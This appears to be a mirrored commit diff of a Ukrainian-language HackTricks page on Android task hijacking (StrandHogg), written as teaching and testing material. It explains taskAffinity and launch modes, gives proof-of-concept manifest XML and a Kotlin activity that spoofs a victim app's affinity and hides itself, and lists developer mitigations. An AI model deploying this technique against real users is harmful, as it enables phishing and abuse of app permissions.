mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
		
							parent
							
								
									8adafce7d5
								
							
						
					
					
						commit
						fd36012dc6
					
				@ -4,50 +4,100 @@
 | 
			
		||||
 | 
			
		||||
## Завдання, стек назад та активності на передньому плані
 | 
			
		||||
 | 
			
		||||
В Android, **завдання** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **стек назад**. Цей стек упорядковує активності на основі того, коли вони були відкриті, причому найновіша активність відображається вгорі як **активність на передньому плані**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **завдання на передньому плані**.
 | 
			
		||||
У Android, **завдання** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **стек назад**. Цей стек упорядковує активності на основі того, коли вони були відкриті, причому найновіша активність відображається вгорі як **активність на передньому плані**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **завдання на передньому плані**.
 | 
			
		||||
 | 
			
		||||
Ось швидкий огляд переходів між активностями:
 | 
			
		||||
 | 
			
		||||
- **Активність 1** починається як єдина активність на передньому плані.
 | 
			
		||||
- Запуск **Активності 2** переміщує **Активність 1** у стек назад, виводячи **Активність 2** на передній план.
 | 
			
		||||
- Запуск **Активності 3** переміщує **Активність 1** та **Активність 2** далі назад у стеці, з **Активністю 3** тепер попереду.
 | 
			
		||||
- Закриття **Активності 3** повертає **Активність 2** на передній план, демонструючи спрощений механізм навігації завданнями в Android.
 | 
			
		||||
- Запуск **Активності 3** переміщує **Активність 1** та **Активність 2** далі назад у стеку, з **Активністю 3** тепер попереду.
 | 
			
		||||
- Закриття **Активності 3** повертає **Активність 2** на передній план, демонструючи спрощений механізм навігації завдань Android.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
## Атака на афінність завдання
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Огляд афінності завдання та режимів запуску
 | 
			
		||||
## Атаки на афінність завдань
 | 
			
		||||
 | 
			
		||||
В Android-додатках, **афінність завдання** вказує на переважне завдання активності, зазвичай відповідне назві пакета програми. Ця настройка є важливою для створення демонстраційного додатка (PoC) для демонстрації атаки.
 | 
			
		||||
`taskAffinity` вказує Android, до якого завдання `Activity` *бажає* належати. Коли дві активності мають однакову афінність, **Android дозволяє об'єднувати їх у одному стеку назад, навіть якщо вони походять з різних APK**.
 | 
			
		||||
 | 
			
		||||
### Режими запуску
 | 
			
		||||
Якщо зловмисник може розмістити шкідливу активність на **корені** цього стеку, щоразу, коли жертва відкриває легітимний додаток, шкідливий інтерфейс буде першим, що бачить користувач – ідеально для фішингу або зловживання дозволами.
 | 
			
		||||
 | 
			
		||||
Атрибут `launchMode` визначає обробку екземплярів активностей у завданнях. Режим **singleTask** є ключовим для цієї атаки, визначаючи три сценарії на основі існуючих екземплярів активностей та відповідності афінності завдання. Експлуатація базується на здатності додатка зловмисника імітувати афінність завдання цільового додатка, вводячи в оману систему Android, щоб запустити додаток зловмисника замість цільового.
 | 
			
		||||
Поверхня атаки ширша, ніж багато розробників вважають, оскільки **кожна активність автоматично успадковує афінність, рівну назві пакета програми** (якщо розробник не встановить `android:taskAffinity=""`). Тому *нічого не роблячи* вже залишає додаток відкритим для захоплення завдань на версіях Android до 11.
 | 
			
		||||
 | 
			
		||||
### Детальні кроки атаки
 | 
			
		||||
### Класичний сценарій "singleTask / StrandHogg"
 | 
			
		||||
 | 
			
		||||
1. **Встановлення шкідливого додатка**: Жертва встановлює додаток зловмисника на своєму пристрої.
 | 
			
		||||
2. **Початкова активація**: Жертва спочатку відкриває шкідливий додаток, готуючи пристрій до атаки.
 | 
			
		||||
3. **Спроба запуску цільового додатка**: Жертва намагається відкрити цільовий додаток.
 | 
			
		||||
4. **Виконання захоплення**: У якийсь момент додаток намагається відкрити вигляд **singleTask**. Завдяки відповідності афінності завдання, шкідливий додаток запускається замість цільового додатка.
 | 
			
		||||
5. **Оману**: Шкідливий додаток показує фальшивий екран входу, що нагадує цільовий додаток, обманюючи користувача на введення чутливої інформації.
 | 
			
		||||
1. Зловмисник оголошує активність з:
 | 
			
		||||
```xml
 | 
			
		||||
<activity android:name=".EvilActivity"
 | 
			
		||||
android:exported="true"
 | 
			
		||||
android:taskAffinity="com.victim.package"
 | 
			
		||||
android:launchMode="singleTask" >
 | 
			
		||||
<intent-filter>
 | 
			
		||||
<action android:name="android.intent.action.MAIN"/>
 | 
			
		||||
<category android:name="android.intent.category.LAUNCHER"/>
 | 
			
		||||
</intent-filter>
 | 
			
		||||
</activity>
 | 
			
		||||
```
 | 
			
		||||
2. Шкідливий додаток запускається один раз, щоб завдання (з підробленою афінністю) існувало в останніх завданнях.
 | 
			
		||||
3. Коли користувач пізніше відкриває реальний додаток, Android виявляє, що вже існує завдання, афінність якого **відповідає пакету**, і просто виводить це завдання на передній план.
 | 
			
		||||
4. Інтерфейс зловмисника показується першим.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Зверніть увагу, що для успішної атаки вразливий вигляд **не повинен мати експортований в true** і не повинен бути основною активністю.
 | 
			
		||||
### Варіант за замовчуванням – Caller ID кейс
 | 
			
		||||
 | 
			
		||||
Для практичної реалізації цієї атаки зверніться до репозиторію Task Hijacking Strandhogg на GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
 | 
			
		||||
Вразливість, виявлена в додатку **Caller ID (caller.id.phone.number.block)**, показує, що атака *також* працює проти стандартного режиму запуску `standard`:
 | 
			
		||||
 | 
			
		||||
### Заходи запобігання
 | 
			
		||||
1. Зловмисний додаток створює підроблену кореневу активність і відразу ж ховається:
 | 
			
		||||
```kotlin
 | 
			
		||||
class HackActivity : AppCompatActivity() {
 | 
			
		||||
override fun onCreate(savedInstanceState: Bundle?) {
 | 
			
		||||
super.onCreate(savedInstanceState)
 | 
			
		||||
moveTaskToBack(true)   // зберегти завдання в останніх, але поза полем зору
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
2. У маніфесті потрібно лише скопіювати пакет жертви в `taskAffinity`:
 | 
			
		||||
```xml
 | 
			
		||||
<activity android:name=".HackActivity"
 | 
			
		||||
android:exported="true"
 | 
			
		||||
android:taskAffinity="com.caller.id.phone.number.block" >
 | 
			
		||||
<intent-filter>
 | 
			
		||||
<action android:name="android.intent.action.MAIN"/>
 | 
			
		||||
<category android:name="android.intent.category.LAUNCHER"/>
 | 
			
		||||
</intent-filter>
 | 
			
		||||
</activity>
 | 
			
		||||
```
 | 
			
		||||
3. Як тільки користувач встановлює і відкриває шкідливий додаток **один раз**, завдання, афінність якого дорівнює пакету жертви, існує (але знаходиться на фоні).
 | 
			
		||||
4. Коли запускається реальний додаток Caller ID, Android повторно використовує це завдання і виводить `HackActivity` на передній план → вікно фішингу/зловживання дозволами.
 | 
			
		||||
 | 
			
		||||
Щоб запобігти таким атакам, розробники можуть:
 | 
			
		||||
- Встановити **`**taskAffinity`** вигляду **singleTask** на порожній рядок (`android:taskAffinity=""`)
 | 
			
		||||
- Вибрати режим запуску **`singleInstance`**, забезпечуючи ізоляцію свого додатка від інших.
 | 
			
		||||
- Налаштувати функцію **`onBackPressed()`**, що пропонує додатковий захист від захоплення завдань.
 | 
			
		||||
> ПРИМІТКА: Починаючи з **Android 11 (API 30)**, система *не* поміщає два пакети, які не є частиною одного UID, в одне завдання за замовчуванням, що пом'якшує цю конкретну варіацію. Старі версії залишаються вразливими.
 | 
			
		||||
 | 
			
		||||
## **Посилання**
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
 | 
			
		||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
 | 
			
		||||
## Перевірка та експлуатація
 | 
			
		||||
 | 
			
		||||
1. Витягніть `AndroidManifest.xml` з цільового APK і перевірте, що кожна `<activity>` (або глобальний елемент `<application>`) містить `android:taskAffinity=""` (порожній) **або** налаштоване значення.
 | 
			
		||||
2. Якщо ні, створіть шкідливий додаток:
 | 
			
		||||
- `android:taskAffinity` = назва пакета жертви.
 | 
			
		||||
- Надати намір `MAIN/LAUNCHER`, щоб користувач міг відкрити його один раз.
 | 
			
		||||
- За бажанням викликати `moveTaskToBack(true)`, щоб відразу сховати.
 | 
			
		||||
3. Дайте жертві відкрити їх легітимний додаток → захоплення.
 | 
			
		||||
 | 
			
		||||
## Пом'якшення
 | 
			
		||||
 | 
			
		||||
Розробники повинні:
 | 
			
		||||
 | 
			
		||||
* Явно встановити `android:taskAffinity=""` на рівні `<application>` (рекомендується) **або** надати кожній активності унікальну, приватну афінність.
 | 
			
		||||
* Для дуже чутливих екранів поєднувати вищезазначене з `android:launchMode="singleInstance"` або сучасними [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) захистами.
 | 
			
		||||
* Оновити `targetSdkVersion` додатка та впровадити зміни поведінки **Android 11**, де завдання за замовчуванням не діляться між пакетами.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Посилання
 | 
			
		||||
 | 
			
		||||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
 | 
			
		||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
 | 
			
		||||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
 | 
			
		||||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user